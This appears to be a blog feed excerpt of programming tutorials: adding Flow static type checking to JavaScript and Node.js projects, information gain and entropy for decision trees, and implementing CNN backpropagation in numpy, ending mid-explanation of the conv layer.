# Print our model's predictions.
print(np.argmax(predictions, axis=1)) # [7, 2, 1, 0, 4]

# Check our predictions against the ground truths.
print(test_labels[:5]) # [7, 2, 1, 0, 4]

Should You Static Type Check Your Javascript?

Mon, 10 Jun 2019 12:00:00 GMT

Javascript is dynamically typed: it performs type checking at runtime. On the other hand, a statically typed language like C performs type checking at compile time. Allow me to illustrate the difference. Here’s some simple C code:

#include <stdio.h>

// Adds one to an integer.
int addOne(int x) {
  return x + 1;
}

int main() {
  const char *value = "2";
  printf("%d", addOne(value)); // ?
}

That code doesn’t compile cleanly:

warning: incompatible pointer to integer conversion passing 'const char *' to parameter of type 'int'

The C compiler type checks our code and sees that we’re trying to do something weird: pass a const char * (basically, a string) to a function that expects an int. We’d catch this problem immediately and fix it.

Now, here’s some similar Javascript code:

// Add one to (hopefully) a number.
const addOne = x => x + 1;

// Let me declare this object! REMINDER: value is a string.
const object = { value: '2' };

// A bunch more code here...
// ...
// So much code that I forgot exactly what was in object...
// ...

// object.value is a number...right?
console.log(addOne(object.value)); // 21

This code works perfectly fine (even though it doesn’t do what we intended) because '2' + 1 is '21' in Javascript. Sometimes we’d catch this bug immediately, but other times bugs like this could go unnoticed for a long time.

Here’s another type of bug that happens a lot:

const Constants = Object.freeze({
  someKey: 'value',
  someOtherKey: 'otherValue',
});

// ...

const string = `Welcome to ${Constants.someOthreKey}`;
console.log(string); // or use the string in some other way

See the problem? This prints out Welcome to undefined because we typoed someOtherKey. Sometimes it’s convenient that Javascript lets you access arbitrary fields on objects, but often it will cause bugs. This dynamic, flexible typing can be dangerous because Javascript basically lets you do anything. No, seriously:

console.log(undefined + 1);   // NaN
console.log(NaN + 1);         // NaN
console.log(undefined + '1'); // undefined1
console.log(null + 1);        // 1
console.log([] + 1);          // 1
console.log({} + []);         // 0
console.log({} + {});         // [object Object][object Object]

Good old Javascript.

You get the point.

How can we prevent these and other kinds of type-related bugs? How can we stop Javascript from letting us do so much nonsense?

Static Type Checking for Javascript

The Flow homepage.

One good solution is to use a static type checker like Flow or TypeScript. These let you add types to your code and then remove them during build (compile) time to leave normal Javascript code. Here’s a simple example of Flow trivially fixing our earlier code:

// @flow
const addOne = (x: number) => x + 1;const object = { value: '2' };

console.log(addOne(object.value));

All we had to do was add the number type for Flow to set us straight:

Similarly, Flow completely eliminates “I typoed the object field name” bugs:

// @flow
const Constants = Object.freeze({
  someKey: 'value',
  someOtherKey: 'otherValue',
});

const string = `Welcome to ${Constants.someOthreKey}`;

Seems useful, doesn’t it? These are only two of many cases where Flow could help prevent bugs.

To put the cherry on top, Flow is also super easy to setup in an existing codebase. I’ll prove it to you: we’ll integrate Flow with my open-source example-io-game codebase (from my building an .io web game series) right now!

Setting up Flow for a Website

If you want to follow along, download the code first. If you’re curious, you can also check out a live demo of the code.

What exactly this codebase does is actually pretty irrelevant: all you need to know is that it uses Webpack and Babel 7 for builds.

To start, we’ll install some dependencies we need:

$ npm install --save-dev flow-bin @babel/preset-flow

Then, we need to make sure Babel strips out our Flow typings at build time. This is super easy:

// Header: .babelrc
{
  "presets": ["@babel/preset-flow"]
}

We create a .babelrc since we don't already have one.

Let’s add a flow script to our package.json for convenience:

// Header: package.json
{
  // ...
  "scripts": {
    "flow": "flow",
    // ...
  }
}

Finally, let’s initialize Flow by running

$ npm run flow init

This creates an empty .flowconfig file for us. That’s it! Now we can use Flow!

$ npm run flow
No errors!

Running Flow doesn’t actually do anything yet because we haven’t activated it for any files. We can enable Flow on a file-by-file basis by adding a // @flow comment at the top of any file. Let’s try it for the src/client/assets.js file:

// Header: assets.js
// @flowconst ASSET_NAMES = [
  'ship.svg',
  'bullet.svg',
];

const assets = {};

// More code
// ...

Running npm run flow again gives us one error:

We have to declare the type of any function arguments. This is an easy fix:

// Header: assets.js
// @flow
const ASSET_NAMES = [
  'ship.svg',
  'bullet.svg',
];

// ...

export const getAsset = (assetName: string) => assets[assetName];

Now we’re good:

$ npm run flow
No errors!

We can now incrementally enable Flow for the rest of our client JS files. We’ve fully integrated Flow!

The Bad

We’ve seen some of The Good. What about The Bad?

In my opinion, there are 2 primary kinds of drawbacks to using something like Flow: I’ll refer to them broadly as investment and pace.

The Bad #1: Investment

In short: learning and using Flow can be a big investment. This is especially true if you’re working with other developers: are you going to make everyone learn and use Flow? As with any new technology, there’s work you have to put in upfront in order to reap rewards down the line.

Often times, this investment is worth it. But, depending on the project, you might be better of skipping static typing.

The Bad #2: Pace

Using Flow will almost certainly slow down how fast you can develop (but maybe that’s a good thing…). Adding types will increase the verbosity of your code and possibly make it a bit harder to read. Plus, sometimes you’ll run into situations where you know what you’re doing is fine but Flow doesn’t believe you, usually because it doesn’t support that specific scenario well. Jumping through a few hoops to write your code the way you want to can be a bit of a nuisance.

Again, often times this pace slowdown is worth the benefits. If you’re working on a large project that’s built to last, using Flow is almost certainly a good idea. On the other hand, if you’re just throwing together a small weekend project, it’s probably safe to skip static typing.

To Recap…

Using a static type checker for Javascript can greatly improve the safety of your code, but it does comes with drawbacks you should be thinking about.

Some Flow resources:

An example Flow implementation: victorzhou.com (yes, this blog!).
Another example: example-io-game, our example from this post.
Try Flow in your browser on the official Flow site.

Did you know that you can also use Flow with Node.js to type-check your backend Javascript code? If you’re interested, read more about how to use Flow with a Node.js project.

Using Flow to Type Check a Node.js Codebase

Mon, 10 Jun 2019 12:00:00 GMT

Javascript is dynamically typed, but tools like Flow allow you to add static type checking to improve the safety of your codebase.

No clue what “typing” is, or never heard of Flow? Read my primer on using Flow to static type check your Javascript.

While Flow is most commonly used to add types to client-side Javascript, it can also be easily used with Node.js! In this post, we’ll walk through integrating Flow with a Node.js backend and see firsthand how simple yet effective it can be.

Setup

We’ll use my open-source example-io-game codebase (from my building an .io web game series) for this post. It’s a multiplayer web game that uses Javascript for both the client and the server - try out the live demo if you’re curious.

First, download the code and open it up. Notice that we’re already using Babel 7 for our Webpack builds.

We’ll start by installing some dependencies we don’t have yet:

$ npm install --save-dev @babel/cli @babel/node @babel/preset-flow
$ npm install --save-dev flow-bin

Next, let’s add a flow script to our package.json for convenience:

// Header: package.json
{
  // ...
  "scripts": {
    "flow": "flow",
    // ...
  }
}

Finally, we initialize Flow by running

$ npm run flow init

This creates an empty .flowconfig file for us. That’s it - now we can use Flow!

$ npm run flow
No errors!

Running Flow doesn’t actually do anything right now because we haven’t activated it yet for any files - we’ll get to that later.

Backend Builds

In a Javascript project with a Node.js backend, you’d normally only have a build step for your client-side code, e.g. using Webpack with Babel to transpile (possibly removing Flow typings) and bundle your JS. However, to use Flow with Node.js, we’ll need a build step for our backend, too, since we need to compile out those Flow typings as well.

Luckily, this is pretty simple to setup since we’re already using Babel. First, create a .babelrc (since we don’t already have one):

// Header: .babelrc
{
  "presets": ["@babel/preset-flow"]
}

This just lets Babel know we want to use the Flow preset (i.e. we want to compile out Flow typings). Next, we’ll add a build script for our backend files:

// Header: package.json
{
  "scripts": {
    "build:node": "babel src/ -d lib/",
    // ...
  }
}

Now, running npm run build:node will compile all of our files at src/ to lib/.

We’ll also add lib/ to our .gitignore as well as the [ignore] section of our .flowconfig, since it’s a build product:

// Header: .gitignore
# ...
lib/

// Header: .flowconfig
[ignore]
./lib/.*
[include]

[libs]

[lints]

[options]

[strict]

Changing the directory where our runnable backend code lives means we also have to change two run scripts: develop and start. Here’s what they originally were:

// Header: package.json
{
  "scripts": {
    "develop": "cross-env NODE_ENV=development node src/server/server.js",
    "start": "cross-env NODE_ENV=production node src/server/server.js",
    // ...
  }
}

package.json before Flow

Modifying the start script is easy: we just replace src/ with lib/. The develop script is a bit trickier, since we don’t want to have to manually rerun a build every time we change code during development. Luckily, Babel provides a tool we can use for this situation: babel-node, which “works exactly the same as the Node.js CLI, with the added benefit of compiling…before running.” Perfect!

Here are our new scripts:

// Header: package.json
{
  "scripts": {
    "develop": "cross-env NODE_ENV=development babel-node src/server/server.js",
    "start": "cross-env NODE_ENV=production node lib/server/server.js",
    // ...
  }
}

package.json after Flow

Try running npm run develop to test the development setup. Then, try npm run build:node and npm start to test the production setup. Everything should work just as before!

REMINDER: You now need to run npm run build:node before npm start! You can also just embed a npm run build:node inside npm run start if you want to make sure a build always happens before a production start.

Enabling Flow

We’re done with setup - it’s time to start activating Flow! As I alluded to earlier, Flow must be enabled on a file-by-file basis by simply adding // @flow to the top of any file.

An easy place to start would be the shared constants.js file:

// Header: constants.js
// @flowmodule.exports = Object.freeze({
  PLAYER_RADIUS: 20,
  // ...
});

Rerun npm run flow and Flow will check that file!

At this point, we can now incrementally enable Flow for the rest of our backend. I won’t go into all of it here, but you can see the finished product of a full Flow integration on Github, including both frontend and backend JS.

Thanks for reading!

A Simple Explanation of Information Gain and Entropy

Fri, 07 Jun 2019 12:00:00 GMT

Information Gain, like Gini Impurity, is a metric used to train Decision Trees. Specifically, these metrics measure the quality of a split. For example, say we have the following data:

What if we made a split at $x = 1.5$ ?

This imperfect split breaks our dataset into these branches:

Left branch, with 4 blues.
Right branch, with 1 blue and 5 greens.

It’s clear this split isn’t optimal, but how good is it? How can we quantify the quality of a split?

That’s where Information Gain comes in.

Confused? Not sure what Decision Trees are or how they’re trained? Read the beginning of my introduction to Random Forests and Decision Trees.

Note: this post looks better in Light Mode. If you’re in Dark Mode, scroll up and use the toggle in the top right to switch!

Information Entropy

Before we get to Information Gain, we have to first talk about Information Entropy. In the context of training Decision Trees, Entropy can be roughly thought of as how much variance the data has. For example:

A dataset of only blues would have very low (in fact, zero) entropy.
A dataset of mixed blues, greens, and reds would have relatively high entropy.

Here’s how we calculate Information Entropy for a dataset with $C$ classes:

E = -\sum_i^C p_i \log_2 p_i

where $p_i$ is the probability of randomly picking an element of class $i$ (i.e. the proportion of the dataset made up of class $i$ ).

The easiest way to understand this is with an example. Consider a dataset with 1 blue, 2 greens, and 3 reds: . Then

E = -(p_b \log_2 p_b + p_g \log_2 p_g + p_r \log_2 p_r)

We know $p_b = \frac{1}{6}$ because $\frac{1}{6}$ of the dataset is blue. Similarly, $p_g = \frac{2}{6}$ (greens) and $p_r = \frac{3}{6}$ (reds). Thus,

\begin{aligned} E &= -(\frac{1}{6} \log_2(\frac{1}{6}) + \frac{2}{6} \log_2(\frac{2}{6}) + \frac{3}{6} \log_2(\frac{3}{6})) \\ &= \boxed{1.46} \\ \end{aligned}

What about a dataset of all one color? Consider 3 blues as an example: . The entropy would be

E = -(1 \log_2 1) = \boxed{0}

Information Gain

It’s finally time to answer the question we posed earlier: how can we quantify the quality of a split?

Let’s consider this split again:

Before the split, we had 5 blues and 5 greens, so the entropy was

\begin{aligned} E_{before} &= -(0.5 \log_2 0.5 + 0.5 \log_2 0.5) \\ &= \boxed{1} \\ \end{aligned}

After the split, we have two branches.

Left Branch has 4 blues, so $E_{left} = \boxed{0}$ because it’s a dataset of all one color.

Right Branch has 1 blue and 5 greens, so

\begin{aligned} E_{right} &= -(\frac{1}{6} \log_2 (\frac{1}{6}) + \frac{5}{6} \log_2 (\frac{5}{6})) \\ &= \boxed{0.65} \\ \end{aligned}

Now that we have the entropies for both branches, we can determine the quality of the split by weighting the entropy of each branch by how many elements it has. Since Left Branch has 4 elements and Right Branch has 6, we weight them by $0.4$ and $0.6$ , respectively:

\begin{aligned} E_{split} &= 0.4 * 0 + 0.6 * 0.65 \\ &= \boxed{0.39} \\ \end{aligned}

We started with $E_{before} = 1$ entropy before the split and now are down to $0.39$ ! Information Gain = how much Entropy we removed, so

\text{Gain} = 1 - 0.39 = \boxed{0.61}

This makes sense: higher Information Gain = more Entropy removed, which is what we want. In the perfect case, each branch would contain only one color after the split, which would be zero entropy!

Recap

Information Entropy can be thought of as how unpredictable a dataset is.

A set of only one class (say, blue ) is extremely predictable: anything in it is blue. This would have low entropy.
A set of many mixed classes is unpredictable: a given element could be any color! This would have high entropy.

The actual formula for calculating Information Entropy is:

E = -\sum_i^C p_i \log_2 p_i

Information Gain is calculated for a split by subtracting the weighted entropies of each branch from the original entropy. When training a Decision Tree using these metrics, the best split is chosen by maximizing Information Gain.

Want to learn more? Check out my explanation of Gini Impurity, a similar metric, or my in-depth guide Random Forests for Complete Beginners.

CNNs, Part 2: Training a Convolutional Neural Network

Wed, 29 May 2019 12:00:00 GMT

In this post, we’re going to do a deep-dive on something most introductions to Convolutional Neural Networks (CNNs) lack: how to train a CNN, including deriving gradients, implementing backprop from scratch (using only numpy), and ultimately building a full training pipeline!

This post assumes a basic knowledge of CNNs. My introduction to CNNs (Part 1 of this series) covers everything you need to know, so I’d highly recommend reading that first. If you’re here because you’ve already read Part 1, welcome back!

Parts of this post also assume a basic knowledge of multivariable calculus. You can skip those sections if you want, but I recommend reading them even if you don’t understand everything. We’ll incrementally write code as we derive results, and even a surface-level understanding can be helpful.

Buckle up! Time to get into it.

1. Setting the Stage

We’ll pick back up where Part 1 of this series left off. We were using a CNN to tackle the MNIST handwritten digit classification problem:

Sample images from the MNIST dataset

Our (simple) CNN consisted of a Conv layer, a Max Pooling layer, and a Softmax layer. Here’s that diagram of our CNN again:

We’d written 3 classes, one for each layer: Conv3x3, MaxPool, and Softmax. Each class implemented a forward() method that we used to build the forward pass of the CNN:

# Header: cnn.py
conv = Conv3x3(8)                  # 28x28x1 -> 26x26x8
pool = MaxPool2()                  # 26x26x8 -> 13x13x8
softmax = Softmax(13 * 13 * 8, 10) # 13x13x8 -> 10

def forward(image, label):
  '''
  Completes a forward pass of the CNN and calculates the accuracy and
  cross-entropy loss.
  - image is a 2d numpy array
  - label is a digit
  '''
  # We transform the image from [0, 255] to [-0.5, 0.5] to make it easier
  # to work with. This is standard practice.
  out = conv.forward((image / 255) - 0.5)
  out = pool.forward(out)
  out = softmax.forward(out)

  # Calculate cross-entropy loss and accuracy. np.log() is the natural log.
  loss = -np.log(out[label])
  acc = 1 if np.argmax(out) == label else 0

  return out, loss, acc

You can view the code or run the CNN in your browser. It’s also available on Github.

Here’s what the output of our CNN looks like right now:

MNIST CNN initialized!
[Step 100] Past 100 steps: Average Loss 2.302 | Accuracy: 11%
[Step 200] Past 100 steps: Average Loss 2.302 | Accuracy: 8%
[Step 300] Past 100 steps: Average Loss 2.302 | Accuracy: 3%
[Step 400] Past 100 steps: Average Loss 2.302 | Accuracy: 12%

Obviously, we’d like to do better than 10% accuracy… let’s teach this CNN a lesson.

2. Training Overview

Training a neural network typically consists of two phases:

A forward phase, where the input is passed completely through the network.
A backward phase, where gradients are backpropagated (backprop) and weights are updated.

We’ll follow this pattern to train our CNN. There are also two major implementation-specific ideas we’ll use:

During the forward phase, each layer will cache any data (like inputs, intermediate values, etc) it’ll need for the backward phase. This means that any backward phase must be preceded by a corresponding forward phase.
During the backward phase, each layer will receive a gradient and also return a gradient. It will receive the gradient of loss with respect to its outputs ( $\frac{\partial L}{\partial \text{out}}$ ) and return the gradient of loss with respect to its inputs ( $\frac{\partial L}{\partial \text{in}}$ ).

These two ideas will help keep our training implementation clean and organized. The best way to see why is probably by looking at code. Training our CNN will ultimately look something like this:

# Feed forward
out = conv.forward((image / 255) - 0.5)
out = pool.forward(out)
out = softmax.forward(out)

# Calculate initial gradient
gradient = np.zeros(10)
# ...

# Backprop
gradient = softmax.backprop(gradient)
gradient = pool.backprop(gradient)
gradient = conv.backprop(gradient)

See how nice and clean that looks? Now imagine building a network with 50 layers instead of 3 - it’s even more valuable then to have good systems in place.

3. Backprop: Softmax

We’ll start our way from the end and work our way towards the beginning, since that’s how backprop works. First, recall the cross-entropy loss:

L = -\ln(p_c)

where $p_c$ is the predicted probability for the correct class $c$ (in other words, what digit our current image actually is).

Want a longer explanation? Read the Cross-Entropy Loss section of Part 1 of my CNNs series.

The first thing we need to calculate is the input to the Softmax layer’s backward phase, $\frac{\partial L}{\partial out_s}$ , where $out_s$ is the output from the Softmax layer: a vector of 10 probabilities. This is pretty easy, since only $p_i$ shows up in the loss equation:

\frac{\partial L}{\partial out_s(i)} = \begin{cases} 0 & \text{if $i \neq c$} \\ -\frac{1}{p_i} & \text{if $i = c$} \\ \end{cases}

Reminder: c is the correct class.

That’s our initial gradient you saw referenced above:

# Calculate initial gradient
gradient = np.zeros(10)
gradient[label] = -1 / out[label]

We’re almost ready to implement our first backward phase - we just need to first perform the forward phase caching we discussed earlier:

# Header: softmax.py
class Softmax:
  # ...

  def forward(self, input):
    '''
    Performs a forward pass of the softmax layer using the given input.
    Returns a 1d numpy array containing the respective probability values.
    - input can be any array with any dimensions.
    '''
    self.last_input_shape = input.shape
    input = input.flatten()
    self.last_input = input
    input_len, nodes = self.weights.shape

    totals = np.dot(input, self.weights) + self.biases
    self.last_totals = totals
    exp = np.exp(totals)
    return exp / np.sum(exp, axis=0)

We cache 3 things here that will be useful for implementing the backward phase:

The input’s shape before we flatten it.
The input after we flatten it.
The totals, which are the values passed in to the softmax activation.

With that out of the way, we can start deriving the gradients for the backprop phase. We’ve already derived the input to the Softmax backward phase: $\frac{\partial L}{\partial out_s}$ . One fact we can use about $\frac{\partial L}{\partial out_s}$ is that it’s only nonzero for $c$ , the correct class. That means that we can ignore everything but $out_s(c)$ !

First, let’s calculate the gradient of $out_s(c)$ with respect to the totals (the values passed in to the softmax activation). Let $t_i$ be the total for class $i$ . Then we can write $out_s(c)$ as:

out_s(c) = \frac{e^{t_c}}{\sum_i e^{t_i}} = \frac{e^{t_c}}{S}

where $S = \sum_i e^{t_i}$ .

Need a refresher on Softmax? Read my simple explanation of Softmax.

Now, consider some class $k$ such that $k \neq c$ . We can rewrite $out_s(c)$ as:

out_s(c) = e^{t_c} S^{-1}

and use Chain Rule to derive:

\begin{aligned} \frac{\partial out_s(c)}{\partial t_k} &= \frac{\partial out_s(c)}{\partial S} (\frac{\partial S}{\partial t_k}) \\ &= -e^{t_c} S^{-2} (\frac{\partial S}{\partial t_k}) \\ &= -e^{t_c} S^{-2} (e^{t_k}) \\ &= \boxed{\frac{-e^{t_c} e^{t_k}}{S^2}} \\ \end{aligned}

Remember, that was assuming $k \neq c$ . Now let’s do the derivation for $c$ , this time using Quotient Rule (because we have an $e^{t_c}$ in the numerator of $out_s(c)$ ):

\begin{aligned} \frac{\partial out_s(c)}{\partial t_c} &= \frac{S e^{t_c} - e^{t_c} \frac{\partial S}{\partial t_c}}{S^2} \\ &= \frac{Se^{t_c} - e^{t_c}e^{t_c}}{S^2} \\ &= \boxed{\frac{e^{t_c} (S - e^{t_c})}{S^2}} \\ \end{aligned}

Phew. That was the hardest bit of calculus in this entire post - it only gets easier from here! Let’s start implementing this:

# Header: softmax.py
class Softmax:
  # ...

  def backprop(self, d_L_d_out):
    '''
    Performs a backward pass of the softmax layer.
    Returns the loss gradient for this layer's inputs.
    - d_L_d_out is the loss gradient for this layer's outputs.
    '''
    # We know only 1 element of d_L_d_out will be nonzero
    for i, gradient in enumerate(d_L_d_out):
      if gradient == 0:
        continue

      # e^totals
      t_exp = np.exp(self.last_totals)

      # Sum of all e^totals
      S = np.sum(t_exp)

      # Gradients of out[i] against totals
      d_out_d_t = -t_exp[i] * t_exp / (S ** 2)
      d_out_d_t[i] = t_exp[i] * (S - t_exp[i]) / (S ** 2)

      # ... to be continued

Remember how $\frac{\partial L}{\partial out_s}$ is only nonzero for the correct class, $c$ ? We start by looking for $c$ by looking for a nonzero gradient in d_L_d_out. Once we find that, we calculate the gradient $\frac{\partial out_s(i)}{\partial t}$ (d_out_d_totals) using the results we derived above:

\frac{\partial out_s(k)}{\partial t} = \begin{cases} \frac{-e^{t_c} e^{t_k}}{S^2} & \text{if $k \neq c$} \\ \frac{e^{t_c} (S - e^{t_c})}{S^2} & \text{if $k = c$} \\ \end{cases}

Let’s keep going. We ultimately want the gradients of loss against weights, biases, and input:

We’ll use the weights gradient, $\frac{\partial L}{\partial w}$ , to update our layer’s weights.
We’ll use the biases gradient, $\frac{\partial L}{\partial b}$ , to update our layer’s biases.
We’ll return the input gradient, $\frac{\partial L}{\partial input}$ , from our backprop() method so the next layer can use it. This is the return gradient we talked about in the Training Overview section!

To calculate those 3 loss gradients, we first need to derive 3 more results: the gradients of totals against weights, biases, and input. The relevant equation here is:

t = w * input + b

These gradients are easy!

\frac{\partial t}{\partial w} = input

\frac{\partial t}{\partial b} = 1

\frac{\partial t}{\partial input} = w

Putting everything together:

\frac{\partial L}{\partial w} = \frac{\partial L}{\partial out} * \frac{\partial out}{\partial t} * \frac{\partial t}{\partial w}

\frac{\partial L}{\partial b} = \frac{\partial L}{\partial out} * \frac{\partial out}{\partial t} * \frac{\partial t}{\partial b}

\frac{\partial L}{\partial input} = \frac{\partial L}{\partial out} * \frac{\partial out}{\partial t} * \frac{\partial t}{\partial input}

Putting this into code is a little less straightforward:

# Header: softmax.py
class Softmax:
  # ...

  def backprop(self, d_L_d_out):
    '''
    Performs a backward pass of the softmax layer.
    Returns the loss gradient for this layer's inputs.
    - d_L_d_out is the loss gradient for this layer's outputs.
    '''
    # We know only 1 element of d_L_d_out will be nonzero
    for i, gradient in enumerate(d_L_d_out):
      if gradient == 0:
        continue

      # e^totals
      t_exp = np.exp(self.last_totals)

      # Sum of all e^totals
      S = np.sum(t_exp)

      # Gradients of out[i] against totals
      d_out_d_t = -t_exp[i] * t_exp / (S ** 2)
      d_out_d_t[i] = t_exp[i] * (S - t_exp[i]) / (S ** 2)

      # Gradients of totals against weights/biases/input      d_t_d_w = self.last_input      d_t_d_b = 1      d_t_d_inputs = self.weights      # Gradients of loss against totals      d_L_d_t = gradient * d_out_d_t      # Gradients of loss against weights/biases/input      d_L_d_w = d_t_d_w[np.newaxis].T @ d_L_d_t[np.newaxis]      d_L_d_b = d_L_d_t * d_t_d_b      d_L_d_inputs = d_t_d_inputs @ d_L_d_t
      # ... to be continued

First, we pre-calculate d_L_d_t since we’ll use it several times. Then, we calculate each gradient:

d_L_d_w: We need 2d arrays to do matrix multiplication (@), but d_t_d_w and d_L_d_t are 1d arrays. np.newaxis lets us easily create a new axis of length one, so we end up multiplying matrices with dimensions (input_len, 1) and (1, nodes). Thus, the final result for d_L_d_w will have shape (input_len, nodes), which is the same as self.weights!
d_L_d_b: This one is straightforward, since d_t_d_b is 1.
d_L_d_inputs: We multiply matrices with dimensions (input_len, nodes) and (nodes, 1) to get a result with length input_len.

Try working through small examples of the calculations above, especially the matrix multiplications for d_L_d_w and d_L_d_inputs. That’s the best way to understand why this code correctly computes the gradients.

With all the gradients computed, all that’s left is to actually train the Softmax layer! We’ll update the weights and bias using Stochastic Gradient Descent (SGD) just like we did in my introduction to Neural Networks and then return d_L_d_inputs:

# Header: softmax.py
class Softmax
  # ...

  def backprop(self, d_L_d_out, learn_rate):    '''
    Performs a backward pass of the softmax layer.
    Returns the loss gradient for this layer's inputs.
    - d_L_d_out is the loss gradient for this layer's outputs.
    - learn_rate is a float    '''
    # We know only 1 element of d_L_d_out will be nonzero
    for i, gradient in enumerate(d_L_d_out):
      if gradient == 0:
        continue

      # e^totals
      t_exp = np.exp(self.last_totals)

      # Sum of all e^totals
      S = np.sum(t_exp)

      # Gradients of out[i] against totals
      d_out_d_t = -t_exp[i] * t_exp / (S ** 2)
      d_out_d_t[i] = t_exp[i] * (S - t_exp[i]) / (S ** 2)

      # Gradients of totals against weights/biases/input
      d_t_d_w = self.last_input
      d_t_d_b = 1
      d_t_d_inputs = self.weights

      # Gradients of loss against totals
      d_L_d_t = gradient * d_out_d_t

      # Gradients of loss against weights/biases/input
      d_L_d_w = d_t_d_w[np.newaxis].T @ d_L_d_t[np.newaxis]
      d_L_d_b = d_L_d_t * d_t_d_b
      d_L_d_inputs = d_t_d_inputs @ d_L_d_t

      # Update weights / biases      self.weights -= learn_rate * d_L_d_w      self.biases -= learn_rate * d_L_d_b      return d_L_d_inputs.reshape(self.last_input_shape)

Notice that we added a learn_rate parameter that controls how fast we update our weights. Also, we have to reshape() before returning d_L_d_inputs because we flattened the input during our forward pass:

# Header: softmax.py
class Softmax:
  # ...

  def forward(self, input):
    '''
    Performs a forward pass of the softmax layer using the given input.
    Returns a 1d numpy array containing the respective probability values.
    - input can be any array with any dimensions.
    '''
    self.last_input_shape = input.shape

    input = input.flatten()    self.last_input = input

    # ...

Reshaping to last_input_shape ensures that this layer returns gradients for its input in the same format that the input was originally given to it.

Test Drive: Softmax Backprop

We’ve finished our first backprop implementation! Let’s quickly test it to see if it’s any good. We’ll start implementing a train() method in our cnn.py file from Part 1:

# Header: cnn.py
# Imports and setup here
# ...

def forward(image, label):
  # Implementation excluded
  # ...

def train(im, label, lr=.005):
  '''
  Completes a full training step on the given image and label.
  Returns the cross-entropy loss and accuracy.
  - image is a 2d numpy array
  - label is a digit
  - lr is the learning rate
  '''
  # Forward
  out, loss, acc = forward(im, label)

  # Calculate initial gradient
  gradient = np.zeros(10)
  gradient[label] = -1 / out[label]

  # Backprop
  gradient = softmax.backprop(gradient, lr)
  # TODO: backprop MaxPool2 layer
  # TODO: backprop Conv3x3 layer

  return loss, acc

print('MNIST CNN initialized!')

# Train!
loss = 0
num_correct = 0
for i, (im, label) in enumerate(zip(train_images, train_labels)):
  if i % 100 == 99:
    print(
      '[Step %d] Past 100 steps: Average Loss %.3f | Accuracy: %d%%' %
      (i + 1, loss / 100, num_correct)
    )
    loss = 0
    num_correct = 0

  l, acc = train(im, label)
  loss += l
  num_correct += acc

Running this gives results similar to:

MNIST CNN initialized!
[Step 100] Past 100 steps: Average Loss 2.239 | Accuracy: 18%
[Step 200] Past 100 steps: Average Loss 2.140 | Accuracy: 32%
[Step 300] Past 100 steps: Average Loss 1.998 | Accuracy: 48%
[Step 400] Past 100 steps: Average Loss 1.861 | Accuracy: 59%
[Step 500] Past 100 steps: Average Loss 1.789 | Accuracy: 56%
[Step 600] Past 100 steps: Average Loss 1.809 | Accuracy: 48%
[Step 700] Past 100 steps: Average Loss 1.718 | Accuracy: 63%
[Step 800] Past 100 steps: Average Loss 1.588 | Accuracy: 69%
[Step 900] Past 100 steps: Average Loss 1.509 | Accuracy: 71%
[Step 1000] Past 100 steps: Average Loss 1.481 | Accuracy: 70%

The loss is going down and the accuracy is going up - our CNN is already learning!

4. Backprop: Max Pooling

A Max Pooling layer can’t be trained because it doesn’t actually have any weights, but we still need to implement a backprop() method for it to calculate gradients. We’ll start by adding forward phase caching again. All we need to cache this time is the input:

# Header: maxpool.py
class MaxPool2:
  # ...

  def forward(self, input):
    '''
    Performs a forward pass of the maxpool layer using the given input.
    Returns a 3d numpy array with dimensions (h / 2, w / 2, num_filters).
    - input is a 3d numpy array with dimensions (h, w, num_filters)
    '''
    self.last_input = input
    # More implementation
    # ...

During the forward pass, the Max Pooling layer takes an input volume and halves its width and height dimensions by picking the max values over 2x2 blocks. The backward pass does the opposite: we’ll double the width and height of the loss gradient by assigning each gradient value to where the original max value was in its corresponding 2x2 block.

Here’s an example. Consider this forward phase for a Max Pooling layer:

The backward phase of that same layer would look like this:

Each gradient value is assigned to where the original max value was, and every other value is zero.

Why does the backward phase for a Max Pooling layer work like this? Think about what $\frac{\partial L}{\partial inputs}$ intuitively should be. An input pixel that isn’t the max value in its 2x2 block would have zero marginal effect on the loss, because changing that value slightly wouldn’t change the output at all! In other words, $\frac{\partial L}{\partial input} = 0$ for non-max pixels. On the other hand, an input pixel that is the max value would have its value passed through to the output, so $\frac{\partial output}{\partial input} = 1$ , meaning $\frac{\partial L}{\partial input} = \frac{\partial L}{\partial output}$ .

We can implement this pretty quickly using the iterate_regions() helper method we wrote in Part 1. I’ll include it again as a reminder:

# Header: maxpool.py
class MaxPool2:
  # ...

  def iterate_regions(self, image):
    '''
    Generates non-overlapping 2x2 image regions to pool over.
    - image is a 2d numpy array
    '''
    h, w, _ = image.shape
    new_h = h // 2
    new_w = w // 2

    for i in range(new_h):
      for j in range(new_w):
        im_region = image[(i * 2):(i * 2 + 2), (j * 2):(j * 2 + 2)]
        yield im_region, i, j

  def backprop(self, d_L_d_out):
    '''
    Performs a backward pass of the maxpool layer.
    Returns the loss gradient for this layer's inputs.
    - d_L_d_out is the loss gradient for this layer's outputs.
    '''
    d_L_d_input = np.zeros(self.last_input.shape)

    for im_region, i, j in self.iterate_regions(self.last_input):
      h, w, f = im_region.shape
      amax = np.amax(im_region, axis=(0, 1))

      for i2 in range(h):
        for j2 in range(w):
          for f2 in range(f):
            # If this pixel was the max value, copy the gradient to it.
            if im_region[i2, j2, f2] == amax[f2]:
              d_L_d_input[i * 2 + i2, j * 2 + j2, f2] = d_L_d_out[i, j, f2]

    return d_L_d_input

For each pixel in each 2x2 image region in each filter, we copy the gradient from d_L_d_out to d_L_d_input if it was the max value during the forward pass.

That’s it! On to our final layer.

5. Backprop: Conv

We’re finally here: backpropagating through a Conv layer is the core of training a CNN. The forward phase caching is simple:

# Header: conv.py
class Conv3x3
  # ...

  def forward(self, input):
    '''
    Performs a forward pass of the conv layer using the given input.
    Returns a 3d numpy array with dimensions (h, w, num_filters).
    - input is a 2d numpy array
    '''
    self.last_input = input
    # More implementation
    # ...

Reminder about our implementation: for simplicity, we assume the input to our conv layer is a 2d array. This only works for us because we use it as the first layer in our network. If we were building a bigger network that needed to use Conv3x3 multiple times, we’d have to make the input be a 3d array.

We’re primarily interested in the loss gradient for the filters in our conv layer, since we need that to update our filter weights. We already have $\frac{\partial L}{\partial out}$ for the conv layer, so we just need $\frac{\partial out}{\partial filters}$ . To calculate that, we ask ourselves this: how would changing a filter’s weight affect the conv layer’s output?

The reality is that changing any filter weights would affect the entire output image for that filter, since every output pixel uses every pixel weight during convolution. To make this even easier to think about, let’s just think about one output pixel at a time: how would modifying a filter change the output of one specific output pixel?

Here’s a super simple example to help think about this question:

We have a 3x3 image convolved with a 3x3 filter of all zeros to produce a 1x1 output. What if we increased the center filter weight by 1? The output would increase by the center image value, 80:

